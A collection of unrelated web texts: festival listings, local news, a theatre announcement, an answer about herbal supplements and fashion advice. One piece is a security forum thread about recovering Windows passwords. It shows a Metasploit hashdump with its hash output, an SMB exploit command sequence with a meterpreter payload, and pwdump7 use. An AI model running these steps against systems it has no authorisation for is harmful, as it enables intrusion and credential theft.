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Royal Greenwich Festivals Presents Greenwich+Docklands International Festival, 20-28 June
From the top of Greenwich Park Hill you can look out on one of most spectacular views of the capital - a city of ingenuity, creativity and resourcefulness.
With this inspiration, GDIF 2014 invites you to experience familiar streets and public spaces as they're transformed by over 50 outdoor events from leading UK and International artists - from gravity-defying aerial choreography to global stories of war and peace; encounters between the living and the dead and a house turned inside out; from a pop-up desert island to a flying ship of dreams. This summer at GDIF the magic of outdoor theatre shows the world in a different light, urging audiences to look at the world anew.
Highlights include:
Muare? Presented by Voala?
This large scale spectacular creates a psychedelic world in which aerialists descend from giant revolving "optical art" mobiles accompanied by electrifying live music from Duchamp Pilot. Suspended 30 metres above the audience, 13 performers from the Spanish/ Argentinean company Voala? create incredible patterning over the heads of audiences accompanied by breathtaking special effects.
* Fri 20 June, 10pm, National Maritime Museum, Royal Museums Greenwich, SE10 FREE
Safe House Presented by Metro Boulot Dodo and Wired Aerial Theatre
Gravity-defying aerial performance mixed with stunning large scale projections uncovers the secrets of a house like no other. Acrobatic performers scale the walls and dive from the roof of a larger than life house in an exploration of our obsession with home ownership. The creative team behind As The World Tipped combine with award winning Metro Boulot Dodo to create a poetic journey through rooms, memories and characters.
* Sat 21 June, 10pm, Haverfield Green, Mile End Park, Tower Hamlets, E3 FREE
Greenwich Fair
An intensive three day showcase of free outdoor theatre, dance and games featuring 26 UK and international companies. Highlights include:
Full Stop from Light the Fuse (UK), which takes you through an anarchic, action-packed 24 hours at a very unusual bus stop
Laundry XL which will transform the Old Royal Naval College with 50 white bedsheets and a cast of six performers from Directie and Co. (Netherlands)
(i)Land from Marc Brew Dance Company (UK), a story of the struggle for survival of three people stranded on a desert island
Opus II from Fanfare Le Snob (France), in which an ensemble of musicians perform as they glide in swan-like formation on hidden electrical segways beneath their costumes
C.A.P.E. (Computer Animated Personal Environment) from Crew (Belgium). Audiences in technologically ground breaking masks and headphones experience an omnidirectional video and sound immersive journey into another time and place.
Fri 20 June - Sun 23 June, Old Royal Naval College & Cutty Sark Gardens, Greenwich, SE10 FREE
War Correspondents Presented by Helen Chadwick Song Theatre
Created by composer Helen Chadwick and choreographer Steven Hoggett (Oliver award winner for Black Watch), this powerful fusion of testimony, music and physicality uncovers the stories and life-changing experiences of war journalists - men and women who risk their lives in extreme circumstances.
Fri 20 & Sat 21 June 8pm, Sun 22 June 3.30pm, Skittle Alley, Old Royal Naval College, Greenwich, SE10 FREE - booking required via www.festival.org
Deblozay Presented by Rara Woulib
Haitian culture looks at death in a very different way to our own. It is not a hushed-up affair of coffins and closed doors but a loud celebration of all that life has to offer, in this world and the next. As the sun sets, join French company Rara Woulib in conjuring the ghosts of the city's departed for this joyous pilgrimage. See for yourself why the dead have so much more fun than the living. (This production is co-produced by GDIF, LIFT and David Binder Productions)
Fri 20 & Sat 21 June, 9.10pm, Location to be announced. FREE - booking required via www.festival.org
Street Theatre Doublebill at the Queen Elizabeth Olympic Park
The Legend of Hamba Presented by Tiata Fahodzi
Kadogo, Child Soldier Presented by La Patrio?tico Interesante
This outdoor theatre double-bill takes the Festival to the Queen Elizabeth Olympic Park for the first time as part of a new GDIF commitment to presenting thought-provoking and compelling contemporary outdoor theatre telling globally resonant stories. The Legend
of Hamba takes its inspiration from the Ndebele word meaning, 'Walk!' or 'Let's go!' It's
a contemporary African Everyman play created by Tiata Fahodzi, Britain's leading African Theatre Company. It's followed by the UK premiere from leading Chilean street theatre company La Patrio?tico Interesante of Kadogo, Child Soldier, offering a polemical insight into the tragedy of child soldiering which combines heartfelt performances, live music, ingenious staging and fire effects.
The Legend of Hamba, Monday 23 - Thursday 26 June, 8.30pm
Kadogo, Child Soldier, Monday 23 - Friday 27 June, 9.30pm
Queen Elizabeth Olympic Park, Stratford, E20
FREE - booking required via www.festival.org
Dancing City
14 UK and international companies dance outdoors against the dramatic backdrop of Canary Wharf. Dance forms range across ballet, street dance, contemporary, circus and technological adventures. Highlights include
¿Hasta Donde...? from an acclaimed young company led by Sharon Fridman (Spain/ Israel) a poetically intense duet delivering powerful emotional impact.
La Mirada Interior from Producciones Imperdibles (Spain) in which headphone wearing audiences choose between 3 very different musical scores accompanying the same choreography.
Two of a Kind presented by Ballet Black, a new quartet choreographed by Christopher Marney about changing relationships.
Por Casualidad about strangers falling in love and never meeting again, by two bailaores, Marco Vargas and Chloe? Brule?, masters of flamenco.
Mon 23 - 27 June, 12pm & 1:30pm, Sat 28 June, 1 - 5pm, Canary Wharf,
Tower Hamlets, E14, FREE
Arka Presented by Teatr O?smego Dnia
Polish theatre company Teatr O?smego Dnia recalls all those refugees and displaced people who travel the continents and warm their souls with memories of home.
As conflict destroys domestic peace a huge winged ship sets sail accompanied by thrilling fire effects and haunting Balkan wedding music to tell a powerful story of the scattering of communities in war. Arka will take place in Woolwich on the 100th anniversary of the assassination of Archduke Ferdinand in Sarajevo, the event that rapidly escalated into
the outbreak of the first world war in 2014, providing a timely reminder of the fragility
of peace.
Sat 28 June, 10pm, Royal Artillery Square, Woolwich, SE18, FREE


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Construction crews working on the San Antonio Streetscape project inadvertently dislodged a natural gas line this afternoon (Feb. 20).
According to Los Altos Police Chief Tuck Younis, a PG&E crew capped the gas line at approximately 2 p.m.
At one point, white smoke could be seen rising from the construction area along San Antonio Road, near the entrance to parking plaza 3.
The gas leak caused responders at the scene to divert traffic away from the northbound side of San Antonio Road, between Main Street and Foothill Expressway.
Younis said the leak occurred after construction workers pulled a tree root from the ground, causing the line to dislodge. Responders on scene were going door-to-door along Main Street telling patrons and business owners to stay inside prior to capping the leak.
For more on this story, read the Feb. 27 edition of the Town Crier or visit www.losaltosonline.com.

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CHINO – City Council members approved the amendment to the Zoning Code that will now allow residents to own three chickens on their property.
Officials are calling the change "green."
The chickens must be placed 30-feet from the home and with in coop not to exceed 6-feet in height.
One resident spoke up against having chickens in the city at all, saying her cats will catch them and feathers will get in pool.
Despite the one resident, council members approved the change at Tuesday's meeting.
Other changes to the code were in transitional and supportive housing, gym/athetic instruction, removal and replacement of trees and cottage food operations.
Cooks will especially like the last change.
The amendment will now allow for home cooks/bakers to pull a permit from the city in order to operate a business out of their kitchen.
"The proposed amendment would permit a business operationthat utilizes the kitchen areaof a private home to prepare non-potentially hazardous foods, as defined and regulated by County Department of Public Health, to be sold fromthe home or at an offsite location.
Each business would be required to obtain a Home Occupation Permit from the city and would have to conform to existing standards, including restrictions on excessive vehicular and pedestrian traffic, restrictions on advertising, and limits on frequency of commercial vehicle trips," the agenda report reads.
Council members also agreed councilwoman Eunice Ulloa to serve as the liaison to the Chino Valley Unified School District. Councilman Glenn Duncan is the alternative.
The recommendation comes after parents of the district made the suggestion at the March 19 City Council meeting because of a recent outcry about the poor facility conditions at Chino High.
***A correction was made to this article: Councilman Glenn Duncan was chosen as the alternative to serve as the liaison to the Chino Valley Unified School District.


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A Noise Within Opens Sarah Ruhl's EURYDICE, 3/16
A Noise Within (ANW), the acclaimed classical repertory theatre company, presents Pulitzer Prize-finalist Sarah Ruhl's critically praised play EURYDICE, directed by ANW Producing Artistic Director Geoff Elliott, opening Saturday, March 16 and closing Sunday, May 19, 2013 (previews begin Saturday, March 9). With beautifully spare and poetic imagery, Ruhl retells the classic Greek myth of Orpheus through the eyes of his new wife who plunges into the underworld and finds herself torn between deep devotion to her late father and love for her husband. The run includes a "Pay What You Can" date on Thursday, March 14.
According to Elliott, "This haunting tale of grief and loss, filled with sweet humor and sadness, explores questions pertaining to our most intimate relationships."
Eurydice's cast features Jules Willcox (Eurydice), Graham Sibley (Orpheus), Ryan Vincent Anderson (Nasty Man/Lord of the Underworld), Geoff Elliott (Father), Abigail Marks (Big Stone), Kelly Elhert (Loud Stone) and Jessie Losch (Small Stone).
Celebrated violinist and composer Endre Balogh is writing original music and plays live in the production, to highlight Orpheus's role in Greek mythology as the world's greatest musician. Balogh has performed as soloist with many of the world's leading orchestras, including the Berlin Philharmonic, Rotterdam Philharmonic, Frankfurt Symphony and Los Angeles Philharmonic, among others, and has composed for previous A Noise Within productions including The Winter's Tale, Oliver Twist and Desire Under the Elms.
A Noise Within, led by Producing Artistic Directors Geoff Elliott and Julia Rodriguez-Elliott, is the only year-round classical repertory company in Southern California and one of only a handful in the entire country dedicated solely to producing classical dramatic literature in the repertory tradition of rotating productions with a resident company of professional artists. It has been lauded by critics as a "premiere classical theatre company," and an "outstanding ensemble" whose "vibrantly theatrical" "brilliant productions" are "freshly imagined," "exceptional," "invigorating," "riveting," "brilliantly atmospheric," "inspired," and "masterfully crafted." Founded 21 years ago, ANW quickly established itself as one of the region's key theatre companies, attracting fiercely loyal audiences and consistently high praise from the media for its productions and as a key force in arts education. The company has presented more than 140 plays from the classics of world literature, each season producing works from authors ranging from Shakespeare and Molière to Ibsen, O'Neill and Shaw to Miller and Williams. A Noise Within completed its milestone 2011-12 Season and 20th Anniversary in its permanent new home, a 33,000 square-foot, state-of-the-art venue in Pasadena, in May 2012.
A Noise Within's production of Eurydice is supported, in part, by the Los Angeles County Board of Supervisors through the Los Angeles County Arts Commission.
Media sponsors for ANW's 2012-13 Season are Pasadena Star-News and KPCC 89.3 FM.
A NOISE WITHIN is located on the corner of Foothill Boulevard and Sierra Madre Villa Avenue at 3352 East Foothill Blvd., Pasadena, CA 91107. Single tickets currently range from $40 - $52. "Pay What You Can" tickets for the Thursday, March 14 performance, which allow patrons to pay what they can afford, are sold at the box office the day of the performance for cash only on a first-come, first-served basis based on availability, with a limit of two per person. Contact the A Noise Within box office in-person, via phone at 626-356-3100, or online at www.anoisewithin.org for updated pricing and seating availability.


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I recently wrote a post at perlmonks advocating why you should always install your own perl [perlmonks.org] and how you may run into issues with a vendor perl with a complex perl application.
You've been able to shed a bit more light on why it's necessary, thanks for taking the time to write this out so eloquently.
Thank you. I'm glad to hear that my ideas were helpful, and even more glad just to hear someone say, "I agree," so I know I'm not crazy.
I'm about to post a short followup journal entry to this one that may interest you, too.


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Thursday, September 21, 2017
Complementary Medicine
Effectiveness of Herbal Supplements on Male Breast Enlargement
I am taking saw palmetto, red clover, fenugreek and licorice to go from male breasts to female breasts. Will this work and how long will it take?
Dear reader,Your question about the use of herbal supplements for breast development is a very good one. In short, no evidence-based data exists to show that taking herbal supplements will stimulate breast development and taking herbal supplements to do so may not be successful and potentially cause drug interactions or unwanted side effects.A 2003 article reviewed that breast or "bust-enhancing" products are widely advertised. So far no clinical trials have been published that an speak to the efficacy or effectiveness of any of the claims made that herbal products can or will enhance breast development. These products can contain a variety of ingredients, including grains, hops, saw palmetto, dong quai, chaste-tree berry, wild yam, kava, fennel, black cohash, and fenugreek. (1)Some of these herbal preparations have chemical compositions similar to estrogen or progesterone and are biologically and hormonally active substances. However, no data has been published to substantiate claims of breast development using herbal products.Taking herbal supplements should be done with care as some supplements can interact with medications causing undesired side effects. For example, multiple herbal products -- coenzyme Q10, danshen, devil's claw, dong quai, ginseng, green tea, papain, and vitamin E -- interact with warfarin, a blood thinning medication used for treatment of blood clotting disorders. (2)The internet is a great source of information for general health, and often is a safe, anonymous means for patients to obtain information about a variety of health topics. However, the information provided should be reviewed with a critical eye. In a study by Gordon et al, the researchers found that although there were many health sites on the internet that are endorsed as authoritative by lay publications as resources for information about breast augmentation, most sites did not provide information on product safety or surgical complications for breast augmentation procedures. (3)Transgender patients may choose "natural" phytoestrogens (plant based estrogens) for hormonal transitioning, but the risk/benefit ratio is uncertain. Additionally, herbal hormone regimens when used in concert with traditional pharmaceutical programs will likely obstruct, instead of heighten feminization. These weak estrogen-like molecules do not augment, but compete with the pharmaceutical regimen (author's emphasis, 4)Use of herbal supplements should be discussed with your doctor. Medical hormonal therapies such as estradiol and sprinolactone can be safely administered by a qualified, trained physician with experience in caring for Transgender patients diagnosed with Gender Identity Dysphoria. The Gay Lesbian Medical Association (GLMA) has an online Provider Directory which may help you find a health care provider who can help you with your transitioning needs. You can search for primary care providers, specialists, therapists, dentists, and other health professionals in your area. The service is free and you do not need to register.References:1. Fugh-Berman A. "Bust-enhancing" herbal products. Obstet Gynecol. 2003 Jun; 101(6):1356-92. Heck AM, DeWitt BA, Lukes AL. Potential interactions between alternative therapies and warfarin. Am J Health Syst Pharm. 2000 Jul 1;57(13):1221-73. Gordon JB, Barot LF, Fahey AL, Matthew MS. The Internet as a Source of Information on Breast Augmentation. Plastic and Reconstructive Surgery. Volume 107(1), January 2001. 171-6.4. Transgender care website: Herbal hormones
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EAST RUTHERFORD, N.J. — Kid Brands, a manufacturer of juvenile and infant products has announced the appointment of Raphael Benaroya as president and CEO, effective immediately. The company intends to appoint a non-executive chairman of the board, although Benaroya will continue to serve as chairman until his successor is appointed, and is expected to continue to serve as a board member thereafter.
Benaroya has served as executive chairman of the board since Sept. 12, 2011, during which time he has held all responsibilities of the CEO. He has served as Kid Brands' chairman of the board since Jan. 31, 2008 and has been a member of the board since 1993.
Benaroya commented, "At the time I transitioned into the role of executive chairman, becoming actively involved in the business, Kids Brands was challenged by operational and financial issues, as well as shifting market dynamics. Our team has engaged diligently to enhance the Company's financial disciplines, trim expenses, and improve working capital management by reducing the quantity and improving the quality of inventory. Further, we recently completed a refinancing intended to strengthen the Company's financial position. We have rationalized our collection of brands and product lines, shifting our focus toward our own and meaningful licensed brands, and eliminated non-core, unprofitable product lines. At the same time, we have bolstered our management team -- appointing a Chief Operating Officer, who has already made strong contributions to further build our operational and executional capabilities, and adding to our business unit leadership in the areas of merchandising, finance and operations. Benefits of the corrective actions we have been taking are starting to take hold, and we believe will become even more apparent in the coming year."
Benaroya continued, "We are now focused even more intently on product development and strengthening our sales organization. We have begun developing innovative new products and are working to increase our penetration across distribution channels that we believe present the greatest opportunity, spanning web, mass merchants and specialty. We will also continue to examine and improve our global sourcing, with several initiatives underway in the area of logistics. Overall, our team remains confident in the long-term prospects for Kid Brands, despite challenges in the marketplace. I am looking forward to meeting the challenge of leading our efforts in a more permanent role, as the company continues to build a solid platform for future growth."


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How can i crack the windows password for home basic there is only one user on the system and i can boot on back track 2 so which files do i need form c windows or whateva folder in back track 2 to get the password as i have forgotten my password i need to open my account i have lots of stuff in there and can not fromat it emergency help please !!!!!!
Another method is to use Metasploit-Fu to do it, in the case the clients target has a HIDS or an AV that detects and blocks Pwdumd just run this in meterpreter
a way to make i more difficult for an attacker to brute force the hash would be to disable Lanman hashesCode:meterpreter > use priv Loading extension priv...success. meterpreter > hashdump Administrator:500:bbc1afce0ca1e5eee694e8a550e822f3:7a118f7a2f2b34d61fa19b840b4f5203::: Guest?ź:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:cdbe57593e4d63e626e7ed14cc617a53::: SUPPORT_388945a0?:1001:aad3b435b51404eeaad3b435b51404ee:fb41e16b63b7afe84ca7711e6c719097::: SRV01$:1003:aad3b435b51404eeaad3b435b51404ee:39850085d75ecaf3c17a02c55321f3bb:::
nice video looking fordward to seeing the next one.
See I did not know that. Thank you. I'm plan to know all the meterpreter commands by the end of this weekend So on Monday when classes start I will be a meterpreter ninja --Look out
pureh@te other then with the new site i must work to archive a copy of your videos, i gotta say you keep churning out new good stuff, i think you finally have the recording down and i was excited to see you have more MS-Framework videos up, Its nice to watch some random commands be thrown around to get the commands to memory good work, when you have a stack of this stuff up might I suggest an idea that you burn them all out to a DVD and sell the profits to Remote-exploit team? I would pay just to have the library of your videos to use as a professional tool to demonstrate in presentations to get the "Scare factor"
or just mount the disk with BT3 windowsPE or plop it in a working computer and pull your crap off.
my wizard can beat your dragon 31337
Wow, awesome work man.
There's no fate but what we make for ourselves.
-I already know I cant spel-
great vid! I like the fact that I can follow your videos and it doesn't go lightspeed through the typing like some videos I've seen.
Hope to see more from you.
Very nice tutorial!!
Anyone mind giving a brief overview of how this exploit works? Is the attack exploiting a buffer over run? What pc's are vunerable to this attack? SP1?
Thanks again. I'm always interested in the "what" along with the "how".
great video, thx a lot!
hello people, i have some problems to find a vulnerable computer.
My first question is: how do you know when autoscanning the network that the computer is vulnerablable for the exploit in this video?
I tried with my computer but this is the error i get in msfconsole:[*] Building the stub data...[*] Calling the vulnerable function...[*] Exploit completed, but no session was created.
these are the commands i used in msfconsole:
use windows/smb/ms03_049_netapi
set rhost 192.168.0.2
set payload windows/meterpreter/bind_tcp
oh i forgot to add:
i guess that i get the error because my computer is not vulnerable?
And of course: thx for helping me, im a noob
i did what the video said , i tried it on my network
but got this error message
i got the remote system Harddrive C:/ added to my network as Z:
i upploaded the 2 files pwdump and the dll in Z:
and ran
Z:\>pwdump7 > xppasslist.txt
Pwdump v7.1 - raw password extractor
Author: Andres Tarasco Acuna
url: ( no url here)
Error reading system registry file C:\Windows\SYSTEM32\CONFIG\SYSTEM
Error while setting pointer on device: 6
Error opening sam hive or not valid file("C:\Windows\SYSTEM32\CONFIG\SAM")
what went wrong?


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Firefighters were called to a large fire at the Amtek Aluminium factory in Freebornes Road, Witham, this morning.
Workers were evacuated before firefighters began tackling the blaze at 4:35am.
The fire is believed to have started in an extraction unit in the metal working facility.
Three appliances were sent to the scene and an aerial ladder platform was used to deliver water onto the roof of the building.
The flames were finally extinguished at 6:30am and a high pressure fan was used to clear the factory of smoke.
A joint police and fire service investigation will be carried out to establish the cause.
It was the 36th incident dealt with by working Essex fire crews since members of the Fire Brigades Union went on strike at 9am yesterday.


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Degree Requirements
Communication students select from one of five emphases options. When selecting an emphasis, students are encouraged to consult with their Communication advisor and to examine their own career goals. Each emphasis has its own supporting and upper level courses.
- Journalism - The study of reporting, writing, editing, and publishing. Students learn to write, "dig for stories", and develop an interest in public affairs.
- Mass Media - Mass Media comprises the study of radio, television, film, and multimedia technology. Students learn about production techniques, the media industry, and audience effects.
- Organizational Communication - The study of communication practices and dilemmas within organizations. Student learn speaking, interviewing, facilitating, and persuading skills. They also learn to research, analyze, and resolve critical organizational problems.
- Public Relations - The study of how organizations present themselves to internal and external audiences. Students learn how to use and integrate various communication modes into a coherent strategy for relating to the public.


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The pirate site plans to ignore the lawsuits from Elsevier and the American Chemical Society.
Zebrafish Brain in Action
July 28, 2014|
Researchers use light-sheet microscopy to map central nervous system activity in zebrafish larvae.
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Researchers use light-sheet microscopy to map central nervous system activity in zebrafish larvae.
July 25, 2014|
Blood-based Alzheimer's diagnostics; CRISPR cuts out HIV; Leishmania and the sand fly microbiome; deconstructing the lionfish science fair debacle
July 18, 2014|
Converting heart muscle to pacemaker cells in pigs; alternative splicing and the human proteome; questioning a reported yogurt mold-illness link; H. pylori swiftly find mouse stomach injuries
July 15, 2014|
Officials behind the European brain mapping effort take preliminary steps to tackle concerns voiced about the project.
July 10, 2014|
Olfactory receptors in the skin may help repair damaged tissue, a study shows.
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More than 250 European researchers sign a letter criticizing the European Commission's $1.6 billion effort to create a computer simulation of the human brain.
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Scientists show how cell stress both prevents and promotes cell suicide in a study that's equally divisive.
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A psychedelic compound in hallucinogenic mushrooms triggers brain activity characteristic of dream states.
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Scientists devise a precision-targeted system for training, tracking, and tweaking fruit fly social behavior.
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In lieu of a career in punk rock, James Pfaus opted to study the brain signals underlying sexual behavior and then see what happened when he manipulated them.


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Abu Dhabi, Oct 26 (IANS) American actor Mark Boone Junior, best known for his role in TV series "Sons of Anarchy", says big Hollywood film studios are so busy dishing out movies based on superheroes that he'd rather be a part of independent films which connect with humans and relationships.
"I don't connect with the stories that the studios are making. They are doing action films on comic books. I didn't read comic books and I feel these movies are about superheroes, people with superpowers. They don't deal with people or human relationships," Boone said here during a panel discussion.
Having played roles in big screen entertainers like "2 Fast 2 Furious" and "Die Hard 2", the actor said he stopped doing studio pictures due to "terrible experiences".
"I have done a bunch of studio films. I think movies are made by comedy in the studio system, where the director may not have so much power. It's messed up. When the director is away for lunch, the producer calls in the editors and asks to edit out portions without letting the director know
I wasn't interested in spending so much time on such projects," said Boone.
The actor's latest Hollywood outing "Life Of Crime", directed by Daniel Schechter was the opening film at the ongoing Abu Dhabi Film Festival (ADFF). The director prefers to call it an independent movie as he didn't have the backing of a big studio. He sought funding from multiple investors, including India-born Hollywood producer Ashok Amritraj.
Starring Jennifer Aniston, Tim Robbins, Yasiin Bey, Isla Fisher, Will Forte and John Hawkes, the movie is an entertaining crime comedy about two fresh-out-of-the-jail thieves and their next caper.
Boone said the experience of working on the movie was wonderful as he got the freedom to improvise on his character, and none of the co-actors made their stardom evident on the set.
"Jennifer never came on the set with the 'Oh, I'm a big movie star' attitude. Everyone came with the same attitude, and it was wonderful," said the actor, who essays the role of a furry neo-Nazi survivalist in the movie.
Working with Schechter was heartening because he never asked the actor to do anything "dramatically different" from what he interpreted of his role.
"Actors don't like to be told
. 'Do this' or 'Don't do this. Daniel never did it," he said.
Boone now wants to put his energy into amalgamating a music record.
"I'd like to focus on music. I also wrote a film script six years ago
let's see," he added.


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Full-figured women rely on Dark Grey Jeans Mens jeans as an essential part of their casual attire. There are many varieties and colors of jeans that are available for this group. If you are a plus size lady you can find jeans that are made for your specific body type whether you are tall or short, pear-shaped or well-rounded. There is a jean available that will emphasize your best attributes and camouflage your flaws. The right fitting jean is a great addition to any wardrobe.
It is important to accept the shape and size of your body, and get over the fact that you are not a size 6 or 8, before you go shopping for a pair of jeans. When you do not accept yourself, they are negative thoughts, and they will make you have a negative image about yourself. Focus on the fact that you are a healthy woman. This will make it easier to find a pair of jeans that is so you!
It depends upon the manufacturer, of course, but larger size jeans usually come in sizes 14 to 28. Size 14 in a plus size garment generally corresponds to a 16 regular. Larger size dungarees are offered with "Misses" measurements and with "Junior" measurements. The former term means that the legs are looser, the hip section is wider, and the waistband sits higher than it does in the Juniors.
Jeans in a "junior" cut fit snugly in the leg and sit low on the waist. They are rather form-fitting, and full-figured shoppers should try on both jean cuts, taking into consideration their comfort and style, as well as the look. Model the different cuts in a full-length mirror, or, better yet, a three-way mirror, so that you can evaluate the fit from a number of perspectives. Make sure you are completely satisfied in every way before you buy. There is no best cut-it is a personal choice.
Full figured women who have a "pear" shape prefer boot cut jeans. A pear shaped body can be described as being biggest in the middle section (from the lower part of the stomach to the upper thighs).
Boot cut jeans are popular because they de-emphasize the longer part of the body, which is a slimming look. Boot cut jeans generally look better with shoes with a heel or even platform shoes instead of shoes with a flat heel.
Tapered jeans usually do not look good on a plus size woman and should be avoided, unless you really want to draw attention to the least liked parts of your body. Tapered style bottoms should really be reserved for the very thin girls.
Plus size women often times have a hard time knowing how to dress. Some want to hide under their clothes because they do not like being plus size. Others want to embrace their plus size and wear fun sexy clothes. Then the question becomes where to look for these clothes?
Not all stores carry plus size fashions. Women have to search for the stores or sites online that carry plus size clothes. There are several places to shop once women start looking into it. Not all of the stores or online sites have fashionable plus size clothing, though.
There are still places that carry only boxy type styles for plus size women. While the boxy clothes are great to hide a figure under they are not very flattering. Some plus size women do feel more comfortable in boxy plus size clothes though. So there is a place for them in the marketplace.
For the plus sized woman who wants to show off more curves there is good news. More and more clothes are becoming available that are highly fashionable and extremely flattering. Places like Lane Bryant and Catherine's are some of the stores that are offering such clothes. There are several online sites too, which we will discuss in a bit more depth later in this article.
The greatest thing today is that even sexy lingerie is available now. Plus size women can now find the frilly see through fun lingerie to feel feminine in the bedroom. Also there are very slinky sexy nightgowns available too. Large women do not have to just hide underneath the cotton nightshirts anymore.
When looking at plus size clothing there is some things to watch though. Make sure that the clothes are made from good quality fabric. In all clothing some cheaply not made well items are sold. Clothing costs being what they are today make sure the clothing will last and hold up well. Anyone deserves to get quality clothes. Along with quality choose clothes that enhance the good parts of the body while playing down the problem areas. Sometimes choosing the correct length is a skirt or top can make such a huge difference to how a plus size woman looks in her clothes. Some can take the belted look while others need a smoother fit.
Bras are another major problem for plus size women. Most stores only carry up to maybe sizes 44-8 DD. A lot of women wear beyond these sizes. 48I and even up to 52M can be required. A great source to turn to is either special bra catalogs or sites online. Sites such as http://www.justmysize.com and [http://www.lanebryantcatalog.com] have a wide range of hard to find sizes. There are several other sites that can be found too.
Another area where great strides have been made is swimsuits. Plus size swimsuits are so fashionably made today. They can even be equipped with extra tummy control for a slimming look. With all the different colors, styles and patterns it is a joy to go shopping for plus size swimsuits now.
There are stylish dresses, skirts, pantsuits, blouses and more being specially designed for the plus size women. Even wedding dresses and bridesmaid dresses are on the market that are absolutely gorgeous. So women of plus size ca rejoice in the fact that the designers are realizing they exist and deserve in style clothes.
Chances are if the models in the catalogs do not look good in the clothes they are modeling people will not want to buy from that catalog. One such catalog is Junonia. Their clothes seem to be boxier in shape. It is a fine place to shop if women want to hide in their clothes. But for those women who want to flaunt what they have they need to look elsewhere.
Two of the stores that carry very stylish plus size clothes are Lane Bryant and Catherine's. These stores have several locations so women maybe able to find them nearby to them. They also have online sites. Online there are several sites to buy plus size clothing these include the following sites: justmysize.com, lanebryantcatalog.com, jessicalondon.com, and womanwithin.com There are many more sites though to find when looking online so a woman does not have to limit herself to just these that are listed.
The main thing to remember is that a plus size woman can dress in stylish nice looking clothes today. The fashion industry is now designing better plus size clothing.
The right pair of denim jeans may be the single most important piece of clothing in your wardrobe and will without a doubt be the most versatile piece in your collection. Plus size denim lines are ever increasing and the trend focused options available in standard sizing are rapidly becoming available for the plus size community. From your favorite tee to a kimono top, your entire look can be changed without ever taking off your denim. However, what looks stylish and sexy on one woman, makes another one look frumpy or outdated. So, how do you know what's right for you? Below are some basic guidelines to follow when shopping for the perfect piece of denim.
The golden rule is: Know what thyself is workin with! If you got it flaunt it, accentuate the positives. Booty like J Lo? Mile long legs? These are the features you want to accentuate. Work with different washes and of the minute denim shapes like boot-cut and wide leg that enhance your favorite features.
What is your body style? Wide Hips, avoid the temptation of drowning yourself in relaxed fit jeans, they will only add inches where you're trying to lose them. Instead draw the eye down and balance the body with a pair of slight flare boot-cut jeans in a mid rise that's fitted throughout the hips. If you have short legs, make sure you pay attention to the length; this is one of the most important aspects when choosing a pair of jeans. Denim should be about a half of an inch above the ground when wearing heels or flats. Darker washes, with a front crease from the knee to the hem, also elongate your legs. A new option re-emerging is the higher waist trouser jean, which not only slims, but creates the illusion of mile long legs. Girls with a boyish figure or a body style considered to be rectangular will want to opt for a cut that will add the illusion of having curves, such as a mid-rise flare leg jean, where the denim is fitted through the hips and thigh, with the flare beginning above the knee.
The devil is in the details; you will want to consider different details of the jean itself. A fan of distressing and aged denim? Make sure not to go overboard. Extreme fading or jeans that appear to be destroyed may be popular with 15 year old pop tarts, but in reality can look tacky and dated. Dark denim in a crisp shape is always chic, as is a medium wash with well placed whiskering. Pay attention to pocket shape and angle. Hexagonal shapes that angle in towards the center tend to work best in creating a heart shaped booty for any body. Pockets placed slightly higher on the tush tend to make a flat booty look perkier and higher. Flap, or cargo pockets, also add some oomph to a small tush. Long pockets that pass the bottom of the tush are fantastic for shaping and lifting an ample booty. Avoid excess fading on the butt and the thighs, as they will make these areas look larger. Also pay attention to a lot of whiskering around the zipper area, which can also accentuate the hips. When considering rise, most women will be best served by a mid rise (a few inches below your belly button).
When choosing the right pair of plus size denim know your body type first and foremost, it is the basis of your search. Know which styles will work with your type and most importantly, what makes you feel fabulous.
Plus size garter belts have been around for a long time, but you don't hear about them very often because when people think of "plus size" they envision someone who is hugely overweight tromping around in some sort of humorous situation. While this can be funny to think of and watch in a movie, it's also a misconception of what plus-size really is.
Some of America's hottest stars are considered plus-size. Take Britney Spears for example who at recent shows was seen wearing several different plus size garter belts throughout the show. Kim Kardashian would also count as plus size; both women are thought of to be extremely sexy and while you may not see them in plus size garter belts most men probably wish they could!
Women like this help break down the stereotype of what plus-size really is and if you're a plus size woman you can do your part by being bold and sexy whenever you get a chance. Just because your ribs aren't showing doesn't mean you're not sexy!
Part of the reason for this stereotype is movies and magazines depicting the sexiest models and superstars as being extremely skinny. While they can also look very beautiful this definitely doesn't limit sexiness to this alone.
Plus garter belts are a good example of how to show off your sexiness in the bedroom no matter what size you are. You can find them online or in stores. While most women won't feel comfortable going to the store in person to purchase this, you can always try them on in store once, then once you know your size you need purchase them online.


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The San Jose, Calif.-based Mushroom Council is launching a multi-million-dollar marketing and healthful eating campaign with an anti-childhood obesity group.
The council announced its partnership with the nonprofit Partnership for a Healthier America (PHA), an organization created in conjunction with but independent from first lady Michelle Obama's Let's Move! effort, at the group's Building a Healthier Future Summit March 8 in Washington, D.C., said Bart Minor, president of the Mushroom Council.
The council's efforts will total $6 million over three years, Minor said.
The program will build on a marketing plan the council began devising two years ago, with PHA assisting in all phases of the process.
"It's a partnership in every sense of the word," Minor said. "We chose PHA because we're aligned in our missions, which is to try to change the way America eats."
That includes all Americans, Minor said. One of the key missions of the project will be to show that mushrooms are an affordable option for all consumers, he said.
Goals of the joint effort include:
- creating 1-3 family-focused recipe contests
- educating half of the top 100 restaurant chains about ways to add mushrooms to their menus
- working with school systems to add mushroom-based items to meals
- developing 30-40 recipes for schools
- working with 1-3 meat processors to develop at least four new meat/mushroom blended products for schools
- educating public health officials and nutrition experts about the benefits of blending mushrooms and meat
- creating a school nutrition resource web page for school food experts


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(UPDATED COVERAGE, Nov. 15) The Microbiological Data Program is in shutdown mode after 11 years of gathering facts about foodborne pathogens.
During a monthly conference call with state agriculture departments that collect samples for the program, U.S. Department of Agriculture officials said sample collections were to stop on Nov. 9, said Jim Brownlee, director of public affairs for the Agricultural Marketing Service.
"Due to budget cuts by Congress, USDA funding for the program will end Dec. 31," Brownlee said, explaining that testing will be completed for samples currently on hand.
Many in the fresh produce industry have questioned the value of the program, saying it prompted unnecessary recalls because test results from samples collected at distribution centers were often not reported until product use-by dates had passed.
Ray Gilmer, vice president of the United Fresh Produce Association in Washington D.C., said the organization thought the USDA was the wrong agency to handle such a program. He said United Fresh generally supports the Food and Drug Administration's public health mission and that FDA would be more appropriate for such work.
"We think FDA is best equipped to administer these kinds of programs," Gilmer said Nov. 12. "We generally support funding for FDA's public health mission."
